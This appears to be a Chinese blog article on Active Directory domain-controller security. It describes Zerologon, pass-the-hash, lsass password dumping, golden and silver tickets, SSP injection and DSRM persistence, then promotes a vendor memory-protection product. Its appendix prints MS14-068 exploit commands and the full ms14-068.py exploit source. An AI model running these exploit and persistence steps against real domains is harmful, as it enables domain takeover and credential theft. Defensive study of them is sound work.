一、前言

在企业网络信息化建设中,经常会使用AD域(Active Directory Domain)来统一管理网络中的PC终端。在AD域中,DC(域控制器)中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。因此,攻击者在对AD域进行攻击时,通常以获取DC的控制权限为目标。

攻击者如果利用漏洞或者社工等方法获取了外网系统的控制权限,找到了和内网联通的通道,再进一步进行深入渗透,便形成了纵向渗透的通道。然后,攻击者通过mimikazt等工具利用票据传递等攻击手段,实现域控服务器的权限控制,从而访问任意域控下的目标进行数据窃取,最终完成目标突破工作。这将为该政企单位带来不可估量的损失。

域攻击常见的方法有PTH攻击、黄金票据攻击、白银票据攻击、lsass进程读取明文密码,以及最新的NetLogon特权提升漏洞攻击等。面对这些攻击,大部分安全产品无法进行有效的保护,难以在第一时间发现并阻断这些攻击。

二、常见风险

1、NetLogon特权提升漏洞攻击分析

2020年08月11日,微软官方发布了NetLogon特权提升漏洞的风险通告,该漏洞评分为10级,几乎所有微软服务器操作系统都受到影响,严重威胁域控服务器安全。由于安全公司Secura发布了相关的漏洞利用程序Zerologon,因此攻击者可以比较容易的利用该漏洞获取到域控服务器的控制权限。NetLogon协议通信流程如下图:

如上图所示,其中client challenge攻击者可控,server challenge在每一轮认证过程中都会变化,secret 对应于用户密码的hash,Encrypt的过程采用的是AES-CFB8。

NetLogon特权提升漏洞的原理是没有正确的使用加密算法,在进行AES加密运算过程中,使用了AES-CFB8模式但错误的将其中的一个运算参数设置为全零,这使得攻击者在明文(client challenge)可控的情况下,存在较高的概率使产生的密文全为零,使域控服务器的密码可被修改为空,导致被攻击者获取控制权限,如图下所示:

2、 PTH(Pass-The-Hash)攻击分析

PTH攻击即攻击者可以直接通过Hash访问远程主机或服务,而不用提供明文密码。

当前Windows的身体验证机制主要使用NTLM协议和Kerberos协议,均通过将口令转换成Hash的方式进行身份认证,因此一旦攻击者获取了Hash,则不必将Hash重新转换成口令,可直接使用Hash进行身份认证。

在本地环境时,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者一旦获取管理员账户的Hash,就能使用PTH攻击获取内网中其他机器的控制权限而不需要获取明文的口令。

在域环境中,当攻击者获得了域管理员组内用户的哈希值,就可以使用PTH攻击获取域中其他机器的控制权限而不需要获取明文的口令。

3、lsass进程读取明文密码分析

lsass.exe是Windows系统中安全机制相关的进程,主要用于本地安全和登陆策略。通过lsass.exe进程的内存直接获取明文密码或者通过dump将lsass.exe转储成lsass.dmp文件,再配合其它工具就可以获得Windows明文密码

4、Windows黄金票据、白银票据攻击分析

黄金票据、白银票据攻击是基于Kerberos认证协议的攻击方式,常用来做后渗透权限维持。由于在用户正常访问资源时也会请求服务票证,因此黄金、白银票据攻击具备很高的隐秘性。

Kerberos协议的基本流程是Client先通过AS(身份认证服务)进行身份认证,认证通过后AS会给Client一个TGT(票据授予票据),Client 将获取到的TGT发送到TGS(票据授予服务)进行身份验证,验证通过后TGS会给Client一个ST(服务票据),Client通过这个ST去访问 指定Server上的服务。

A、黄金票据攻击

在Kerberos认证中,Client通过AS认证后,AS会给Client一个TGT, 而TGT是通过域控服务器上krbtgt账户的Hash进行加密的,所以只要得到krbtgt的Hash,就可以伪造TGT来进入下一步Client与TGS的交互。而在有了黄金票据后,就跳过了AS验证,不用验证账户和密码,所以也不担心域管密码修改。

因此,黄金票据被盗后,攻击者可以通过域控服务器进行匿名登录的操作,实现控制域控下所有主机的登录,对企业内网产生不可估计的损失。

B、白银票据攻击

如果说黄金票据攻击是伪造TGT,那么白银票据就是伪造ST,在 Kerberos认证协议的第三步,Client带着ST向Server上的某个服务进行请求,Server接收到Client的请求,验证通过后允许Client使用 Server上的指定服务。所以只要有了服务器管理员账户的Hash,就能跳过向TGS请求ST的过程,可以直接伪造ST使用Server上的服务。

5、SSP内存注入攻击


SSP(Security Support Provider(安全支持提供者)),又名Security Package,实际SSP就是一个DLL,用来实现身份认证,例如:NTLM、Kerberos、Negotiate、Secure Channel (Schannel)、Digest、Credential (CredSSP)等;如下图是正常的SSPI结构图,Client APP是我们自定义的dll,通过Secur32.dll可以调用 "credential capture API"来获取LSA的信息:

SSPI(Security Support Provider Interface):为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。可简单的理解为SSPI是SSP的API接口。

LSA(Local Security Authority):用于身份认证,常见进程为lsass.exe;但LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中。这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe!下图展示了攻击思路,既然可以自定义dll,那么我们就可以定制dll的功能,通过Named Pipe和Shared Memory直接获取lsass.exe中的明文密码,并且能够在其更改密码时立即获得新密码!

mimikatz poc。

测试时候,将mimilib.dll复制到域控c:/windows/system32下,注意64位系统要用64位的mimilib.dll;更多参看:域渗透测试。

6、DSRM后门

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil 命令行工具。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。

我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户, 通过网络连接域控制器, 进而控制域控制器。

更多参看:域控维权。

三、安全痛点分析

从上文来分析,PTH攻击、黄金票据攻击、白银票据攻击等所采用的基本是正常的验证流程,导致常规的检测方法无法识别这类攻击,在这类攻击面前形同虚设,而采用比较暴力的禁用端口、服务等方法又会影响正常业务的使用,同时域控环境存在补丁修复限制及新漏洞的不断产生从而引发新的风险。因此,安全软件对AD域的防护一直是一个难点,是安全防护体系的一个薄弱环节。

因此,如果可通过分析内网渗透中常用的技术方法,技术甄别判断黄金票据、PTH、白银票据、暴力破解域用户名密码、内存dump等行为,解决域控票据留存及票据传递问题。通过细粒度的监控内存读、写、执行行为,实时检测内存中存在堆栈代码执行、内存数据覆盖等异常行为,结合拦截模块高效防御漏洞攻击。通过实时监测并阻断针对域控服务器的域渗透攻击,实时上报异常登录等风险项。通过策略调整,解决身份认证的黑白名单控制问题,实现用户自定义设置对域控服务器的安全访问机制。

那么我们可利用一些安全产品,完成拦截远线程注入、无文件攻击等基于内存攻击的行为对域控服务器进行攻击;检测拦截攻击方利用Mimikazt攻击工具获取被攻击的域控服务器中的krbtgt账户的hash值的行为;拦截攻击者利用Mimikazt进行攻击机的票据hash值读取,获取保留在攻击机中的域控管理员账号信息和hash,进行被攻击机远程登录的行为;拦截域内普通PC机越权访问域控主机的行为,防止krbtgt账户hash值得泄露风险以及避免发生制作黄金票据的风险;以上这些安全防护最好是实时拦截,并且记录日志并实现安全风险报表汇总分析功能最好不过了。

四、行业解决方案参考

4.1、安芯网盾解决方案参考

在AD域环境中会遇到各种各样的攻击,而传统安全产品只在应用层或系统层进行防护,在面对新型威胁和内部威胁时,难以在第一时间发现并阻断这些威胁。安芯网盾的内存保护系统使用创新的技术如硬件虚拟化技术、内存行为分析技术等,把安全产品的防护能力从应用层、系统层下沉 到硬件虚拟化层,打造了三大能力模块:

01漏洞防御

通过细粒度的监控内存读、写、执行行为,可实时检测内存中存在的堆、栈代码执行、内存数据覆盖等异常行为,结合拦截模块,可以高效

02内存数据保护

系统运行或切换用户时,内存中存有缓存数据,内存保护系统可以对特定进程进行防护,防止第三方工具读取缓存数据。

03威胁防御

内存保护系统可以实时感知内存数据流动状态、程序的具体行为动作并结合访问行为,发现未知威胁。

五、附录

1)域控关键文件

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。

2)ms14-068提权域控过程

参看:ms14-068提权域控

漏洞处理可参看:CVE-2014-6324

python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc  //Linux
python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit` //windows

ms14-068.py下载;代码如下:

#!/usr/bin/python# MS14-068 Exploit# Author
# ------
# Sylvain Monne
# Contact : sylvain dot monne at solucom dot fr
# http://twitter.com/bidordimport sys, os
from random import getrandbits
from time import time, localtime, strftimefrom kek.ccache import CCache, get_tgt_cred, kdc_rep2ccache
from kek.crypto import generate_subkey, ntlm_hash, RC4_HMAC, HMAC_MD5
from kek.krb5 import build_as_req, build_tgs_req, send_req, recv_rep, \decrypt_as_rep, decrypt_tgs_rep, decrypt_ticket_enc_part, iter_authorization_data, \AD_WIN2K_PAC
from kek.pac import build_pac, pretty_print_pac
from kek.util import epoch2gt, gt2epochdef sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host,output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None):sys.stderr.write('  [+] Building AS-REQ for %s...' % kdc_a)sys.stderr.flush()nonce = getrandbits(31)current_time = time()as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Sending AS-REQ to %s...' % kdc_a)sys.stderr.flush()sock = send_req(as_req, kdc_a)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Receiving AS-REP from %s...' % kdc_a)sys.stderr.flush()data = recv_rep(sock)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Parsing AS-REP from %s...' % kdc_a)sys.stderr.flush()as_rep, as_rep_enc = decrypt_as_rep(data, user_key)session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))logon_time = gt2epoch(str(as_rep_enc['authtime']))tgt_a = as_rep['ticket']sys.stderr.write(' Done!\n')if krbtgt_a_key is not None:print >> sys.sdterr, as_rep.prettyPrint()print >> sys.stderr, as_rep_enc.prettyPrint()ticket_debug(tgt_a, krbtgt_a_key)sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_a)sys.stderr.flush()subkey = generate_subkey()nonce = getrandbits(31)current_time = time()pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Sending TGS-REQ to %s...' % kdc_a)sys.stderr.flush()sock = send_req(tgs_req, kdc_a)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Receiving TGS-REP from %s...' % kdc_a)sys.stderr.flush()data = recv_rep(sock)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Parsing TGS-REP from %s...' % kdc_a)tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))tgt_b = tgs_rep['ticket']sys.stderr.write(' Done!\n')if trust_ab_key is not None:pretty_print_pac(pac[1])print >> sys.stderr, tgs_rep.prettyPrint()print >> sys.stderr, tgs_rep_enc.prettyPrint()ticket_debug(tgt_b, trust_ab_key)if target_service is not None and target_host is not None and kdc_b is not None:sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_b)sys.stderr.flush()subkey = generate_subkey()nonce = getrandbits(31)current_time = time()tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name,tgt_b, session_key2, subkey, nonce, current_time)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Sending TGS-REQ to %s...' % kdc_b)sys.stderr.flush()sock = send_req(tgs_req2, kdc_b)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Receiving TGS-REP from %s...' % kdc_b)sys.stderr.flush()data = recv_rep(sock)sys.stderr.write(' Done!\n')sys.stderr.write('  [+] Parsing TGS-REP from %s...' % kdc_b)tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey)sys.stderr.write(' Done!\n')else:tgs_rep2 = tgs_reptgs_rep_enc2 = tgs_rep_encsys.stderr.write('  [+] Creating ccache file %r...' % output_filename)cc = CCache((user_realm, user_name))tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)cc.add_credential(tgs_cred)cc.save(output_filename)sys.stderr.write(' Done!\n')if target_key is not None:print >> sys.stderr, tgs_rep2.prettyPrint()print >> sys.stderr, tgs_rep_enc2.prettyPrint()ticket_debug(tgs_rep2['ticket'], target_key)# Pretty print full ticket content
# Only possible in a lab environment when you already know krbtgt and/or service keys
def ticket_debug(ticket, key):try:ticket_enc = decrypt_ticket_enc_part(ticket, key)print >> sys.stderr, ticket.prettyPrint()for ad in iter_authorization_data(ticket_enc['authorization-data']):print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type']if ad['ad-type'] == AD_WIN2K_PAC:pretty_print_pac(str(ad['ad-data']))else:print >> sys.stderr, str(ad['ad-data']).encode('hex')except Exception as e:print 'ERROR:', eif __name__ == '__main__':from getopt import getoptfrom getpass import getpassdef usage_and_exit():print >> sys.stderr, 'USAGE:'print >> sys.stderr, '%s -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>' % sys.argv[0]print >> sys.stderr, ''print >> sys.stderr, 'OPTIONS:'print >> sys.stderr, '    -p <clearPassword>'print >> sys.stderr, ' --rc4 <ntlmHash>'sys.exit(1)opts, args = getopt(sys.argv[1:], 'u:s:d:p:', ['rc4='])opts = dict(opts)if not all(k in opts for k in ('-u', '-s', '-d')):usage_and_exit()user_name, user_realm = opts['-u'].split('@', 1)user_sid = opts['-s']kdc_a = opts['-d']if '--rc4' in opts:user_key = (RC4_HMAC, opts['--rc4'].decode('hex'))assert len(user_key[1]) == 16elif '-p' in opts:user_key = (RC4_HMAC, ntlm_hash(opts['-p']).digest())else:user_key = (RC4_HMAC, ntlm_hash(getpass('Password: ')).digest())target_realm = user_realmtarget_service = target_host = kdc_b = Nonefilename = 'TGT_%s@%s.ccache' % (user_name, user_realm)user_realm = user_realm.upper()target_realm = target_realm.upper()sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, filename)

3)Kerberos认证工作原理

参考:https://technet.microsoft.com/zh-cn/library/cc961976.aspx

  1. 简单的相互身份验证

A向B发送信息时,会附加一个Authenticator(认证码,该数据结构=身份信息+时间戳)来进行彼此的身份验证。开始验证之前,A和B已经有一个有且只有二人知晓的密钥。下面是工作流程:

a. A用密钥加密了【信息+Authenticator(身份信息+时间戳)】,将其发给B

b. B用密钥解密了A发来的Authenticator,并将其中包含的时间戳记录下来。B将这个时间戳与自己的当前时间进行比较,如果这个时间差大于某个值(windows下默认是5分钟),B认为信息不是A发来的,拒绝后续验证。如果这个时间差小于设定值,B要检查在过去5分钟内,是否存在含有更早时间戳的Authenticator,如果没有,B认为信息确实是A发来了。至此,完成了B对A的验证。

c. B用密钥加密Athenticator里的时间戳,然后将其发回给A,以证明自己确实是B.

d. A收到后,解密出时间戳,经过自己的对比,确认了对方确实是B. 至此,完成了A对B的验证

  1. 引入session key和密钥分发中心KDC

1的实现有一个前提,那就是A和B必须有一个有且只有二人知晓的密钥。在2中,我们要设计一个密钥分发机制来完善1的流程。这里引入key distribution center, KDC密钥分发中心。当A尝试向B发信息时,KDC会分别向A、B发放一个加密过的session key,这相当于1中那个有且只有AB双方知晓的密钥(注意,在传输过程中,session key要再包裹一层密钥进行加密,下面将具体说到)。

  1. 引入secret key(密钥的加密)

session key在传输过程中需要加密。因此我们又引入了一个加密密钥,叫做secret key(或者叫long term key,在用户账号验证中,这个key是衍生自账号密码). 这个key是KDC和A(或B)之间有且只有双方知晓的一个密钥。KDC与A之间进行传输时,是由仅有A与KDC双方知晓的key加密。KDC与B之间进行传输时,是由仅有B与KDC双方知晓的key加密。

  1. 引入session ticket(密钥的识别)

实际应用中,一个KDC对应着许许多多的客户端和服务端,每个客户端与服务端之间都有一个共享的session key(密钥)。为了区别这些session key,我们引入session ticket的概念,它是一种内嵌了session key和客户端身份信息(原文authorization data for the client)的数据结构。相当于session key与客户端的1对1表。

下面是具体工作过程:

a. 客户端向KDC提交客户端身份信息(这个传输过程使用客户端secretkey进行加密),要求与服务端进行相互身份验证。

b. KDC生成一个仅有客户端与服务端知晓的session key。

c. KDC将session key附加上客户端身份信息形成了session ticket,并用服务端secret key加密session ticke后传给服务端。服务端收到了KDC回复,使用服务端secret key解密,获得了有且只有客户端和服务端二者知晓的密钥session key。

d. KDC将【session key+服务端secret key加密后的session ticket】用客户端secret key加密后,传给客户端。客户端收到了KDC的回复,用客户端secret key解密出【session key+服务端secret key加密后的session ticket】。解密出的两部分内容分开地放在一个安全的缓存中(一块隔离的内存空间,而不是硬盘上)。当客户端再次向服务端发送信息时,客户端就可以直接向服务端发送【要发送的信息+服务端secret key加密后的session ticket+用session key加密的Authenticator(身份信息+时间戳)】

e. 服务端收到了来自客户端的以上凭据,先用服务端secret key将session ticket解密,取得内嵌在session ticket里的session key,用其将Authenticator解密,得到了客户端发送消息的时间戳。之后按照1中简单相互身份验证过程中的步骤b, c, d继续进行。

注:

  1. session ticket可以被重复使用。客户端从KDC获得session ticket后,会将其放在安全缓存中(一块隔离的内存空间,而不是硬盘上)。每当客户端想要访问指定服务端,客户端就出示相应的session ticket。
    \
  2. session ticket有失效期,通常是8小时,可以在相应的Kerberos策略中设置。
    \
  3. 服务端不需要存储session ticket。KDC只负责发送信息,不验证信息是否发放到正确的对象。因为即使发错了对象,对方没有secret key(有且只有KDC和正确对象知晓的密钥),是解不开信息的。

4、MS14068域控提权漏洞及其防护

参看:http://blog.sina.com.cn/s/blog_dfc643720102vajo.html

关于域控制器的安全概述相关推荐

  1. vm虚拟服务器提升为域控制器,虚拟化域控制器体系结构

    虚拟化域控制器体系结构 05/31/2017 本文内容 适用范围:Windows Server 2022.Windows Server 2019.Windows Server 2016.Windows ...

  2. ad域帐号登录提示无法处理请求_微软Windows Server之AD域控制器迁移测试方案

    一.概述 某公司成立初期机房建设时使用window server 2003搭建AD域作为公司账户管理系统.随着公司的办公人员增加以及功能需求,目前AD域服务器已不能满足业务的需求.Windows se ...

  3. 管理站点复制 【Windows Server 2019】活动目录(Acitve Directory)——在同一区域安装多台域控制器

    [Windows Server 2019]活动目录(Acitve Directory)--在同一区域安装多台域控制器 https://blog.csdn.net/nowshut/article/det ...

  4. 使用 Hyper-v 虚拟化域控制器

    使用 Hyper-v 虚拟化域控制器 2018/04/19 https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/get-sta ...

  5. windows 2003 迁移域控制器到 windows 2008

     windows 2003 迁移域控制器到 windows 2008 2011-11-25 07:10:27 标签:windows 2003 迁移 2008 签:windows 2003 迁移 200 ...

  6. 智能座舱域控制器功能自动化测试方案

    1. 背景 智能座舱是当前汽车行业开发设计和差异化竞争的焦点,当前智能座舱控制器多为整合了传统IPK.HMI.HUD.DMS等若干控制器之后的"一机多屏"的复杂系统.在软件架构上, ...

  7. window server 2003创建域控制器

    Windows Server 2003 部署通用结构分步指南 第一部分:将 Windows Server 2003 安装为域控制器 本文档是一个分步指南系列的第一部分,该分步指南介绍如何建立通用网络结 ...

  8. 浅谈整车域控制器——VCU功能

    浅谈整车域控制器--VCU功能(一) 文章目录 VCU的结构与概述 VCU的内部结构简图如下 VCU的各项功能 一.档位管理 二.踏板信号管理 三.局域网内网络管理 四.车辆驱动管理 五.高压系统上下 ...

  9. 多域控制器环境下Active Directory灾难恢复

    多域控制器环境下Active Directory灾难恢复 http://www.microsoft.com/china/community/program/originalarticles/TechD ...

最新文章

  1. android 封装的popwindow,Android UI开发 popupwindow介绍以及代码实例
  2. 别顾着学习工作,没了生活
  3. Centos7特性——systemd
  4. 过滤器java面试_过滤器监听器面试题都在这里
  5. mysql 数据结构设计_MYSQL 设计数据结构需注意问题
  6. docker下创建crontab定时任务失败
  7. 关于mysql内存表的一个帖子(转载)
  8. 代码生成器插件实现方案征集投票
  9. Java23种设计模式之单例模式
  10. 配置连接池连接oracle,Oracle连接池怎么配置
  11. cli dll打包 vue_vue-cli3使用 DllPlugin 实现预编译提升构建速度
  12. iptables联系一
  13. Linux命令行下WEP密码破解(通用,也可非BT平台)
  14. Vi命令的10个常用的用法
  15. 【虫师--系列15】性能测试知多少---系统架构分析
  16. html5 数据库 视图,创建视图的sql语句是什么
  17. Python笔记五(写excel,加密模块,字典排序,常用的标准模块,操作mysql,时间模块)...
  18. webrtc QOS方法十二(接收端IDR帧请求)
  19. BZOJ3837 : [Pa2013]Filary
  20. 年龄计算机在线计算适合你的对象,抖音年龄计算器恋爱对象生日,年龄计算器适合你的恋爱对象...

热门文章

  1. ACL 概述及工作原理
  2. “成功学大师”杨涛鸣被抓
  3. Tableau——制作折叠菜单隐藏筛选器和图例
  4. 今天上午完成了devicescan,发送了rar包到yzx3233@sina.com
  5. 排序算法10——图解基数排序(次位优先法LSD和主位优先法MSD)
  6. cellpadding 和 cellspacing
  7. 卡尔曼转矩观测_基于卷积神经网络的永磁同步电机转矩观测器
  8. (myconnpy出现,pymysql可以入冷宫了)打个小补丁,让pymysql正确处理日期类型和NULL类型 - MK2 - 博客园...
  9. 高级工计算机题库,计算机高级工题库5 电脑基础知识 IT计算机 专业资料.docx
  10. postman测试接口List<JSONObject>类型的参数